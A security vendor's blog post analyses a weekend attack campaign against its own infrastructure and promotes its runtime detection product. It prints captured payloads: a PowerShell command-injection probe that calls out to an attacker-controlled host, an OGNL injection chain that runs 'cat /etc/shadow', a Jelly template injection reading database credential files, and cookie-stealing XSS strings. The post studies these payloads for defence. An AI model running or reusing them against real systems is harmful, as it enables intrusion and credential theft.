Over one weekend, Contrast detected 87 coordinated attacks originating from infrastructure in Mumbai, India that targeted the usually dangerous blind spot between perimeter defenses and application runtimes. This type of complex attack is why organizations use Contrast Application Detection and Response. This campaign, launched on October 18th and 19th, is a textbook demonstration of the sophisticated, multi-vector TTPs used by modern adversaries who understand how to exploit the problem in most organizations. There’s no real-time visibility into runtime application attacks or the ability to stop them.
This was not a theoretical test or customer incident; the attacks targeted Contrast itself. Because we saw the full attack chain firsthand, we can show exactly how ADR detects, interprets, and blocks what others miss.
Contrast Labs has put together this analysis of the observed attack progression - from initial reconnaissance and shell command execution to framework-specific RCE and credential harvesting - as a critical case study for defense teams. Read on for a phase-by-phase reconstruction showing how these attackers weaponized obfuscation and in-process execution to evade WAFs and EDRs, and the runtime signals that flagged them.
Note: This article was updated to reflect updated facts.
The campaign began on Saturday with a probe on Contrast Security infrastructure via HTTP GET. The command is designed to confirm a Remote Code Execution (RCE) vulnerability using the system-level utility Windows PowerShell.
Payload:
$(powershell -c iwr -uri http://[redacted])
The core command, iwr -uri [redacted], forces the target server to quietly reach out to an external domain controlled by the attacker. By checking for the unique-id identifier within that outbound connection, an attacker can confirm both the host and RCE vulnerability are active, clearing the way for a more damaging follow-up attack.
That same day, seeing that their Windows PowerShell probe failed to return a positive signal, the attacker immediately shifted focus to application-specific vectors, moving from OS Command Injection to highly specific attack attempts aimed at discovering and exploiting vulnerabilities within common Java application frameworks.
This rapid pivot demonstrates the attacker’s broad reconnaissance capabilities and immediate understanding that the application layer itself, rather than the host, is a viable target. The subsequent attacks are not an escalation following RCE confirmation, but rather two additional, more refined attempts to achieve RCE by targeting the application's Java expression interpreters.
These framework-specific payloads are often highly obfuscated (i.e. double URL-encoding) specifically to defeat static WAF signatures. If a WAF fails to recognize the obfuscated input, the payload is delivered to the application runtime, where the malicious expression executes as native application code.
The attacker first attempts a chained OGNL (Object-Graph Navigation Language) injection attack. This is a critical probe for achieving persistent, platform-independent RCE within the JVM.
Payload excerpt:
(#_memberAccess=@ognl.OgnlContext@
DEFAULT_MEMBER_ACCESS)?
(#wr=#context[#parameters.obj[0]].
getWriter(),#wr.println(#parameters.content[0])
,#wr.flush(),#wr.close()):xx.toString.json
{(#instancemanager=#application
["org.apache.tomcat.InstanceManager"]).
(#stack=#attr
["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).
(#bean=#instancemanager.newInstance
("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).
(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("cat /etc/shadow")).(#execute=#instancemanager.newInstance
("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
This payload is an attempt at Remote Code Execution (RCE) using a Server-Side Template Injection (SSTI) technique to steal database credentials. It specifically targets applications that process Jelly or Glide templating tags.
Payload:
jvar_page_title=<style><j:jelly xmlns:j="jelly:core" xmlns:g='glide'><g:evaluate>z=new Packages.java.io.File('').getAbsolutePath();z=z.substring
(0,z.lastIndexOf('/'));u=new SecurelyAccess(z.concat('/co..nf/glide.db.properties')).
getBufferedReader();s='';while((q=u.readLine())!==null)
s=s.concat(q,'\n');
gs.addErrorMessage(s);</g:evaluate></j:jelly></style>
A final attack vector included attempts at Cross-Site Scripting (XSS). While unsuccessful, this attack shows that the adversary was performing exhaustive reconnaissance to map out both server-side and client-side injection points, demonstrating readiness to pivot to user compromise (e.g., session hijacking or credential theft) should server-side RCE attempts fail.
Payload examples:
message=%3Cscript%3Ealert(%22153000-document.cookie%22)%3C/script%3E
%27%3bqxss(document.cookie)%3b%27
Attacks like these hinge on two common security weaknesses:
Contrast’s Application Detection & Response (ADR) closes this blind spot by instrumenting the application from within. ADR sensors observe application behavior in real-time, providing runtime visibility to immediately detect and block malicious execution.
Contrast ADR is effective because it:
Traditional defenses, like Web Application Firewalls (WAF) and Endpoint Detection & Response (EDR), routinely fail to maintain runtime visibility, leaving a critical blind spot at the application layer. By shifting defense from the vulnerable perimeter to the code itself, Contrast ADR neutralizes these sophisticated attacks. ADR sensors provide the contextual, code-level insight necessary to detect and block malicious execution instantly, transforming the defender's posture from reactive perimeter management to active, in-application protection.
Naomi Buckwalter, CISSP CISM, is the Senior Director of Product Security for Contrast Security and author of the LinkedIn course: “Training today for tomorrow’s solutions – Building the Next Generation of Cybersecurity Professionals”. She has over 20 years’ experience in IT and Security and has held roles in Software Engineering, Security Architecture, Security Engineering, and Security Executive Leadership. A dynamic speaker and mentor, her passion is to cultivate the next generation of cybersecurity leaders through education and mentorship. Naomi has two Masters degrees from Villanova University and a Bachelors of Engineering from Stevens Institute of Technology.
Get the latest content from Contrast directly to your mailbox. By subscribing, you will stay up to date with all the latest and greatest from Contrast.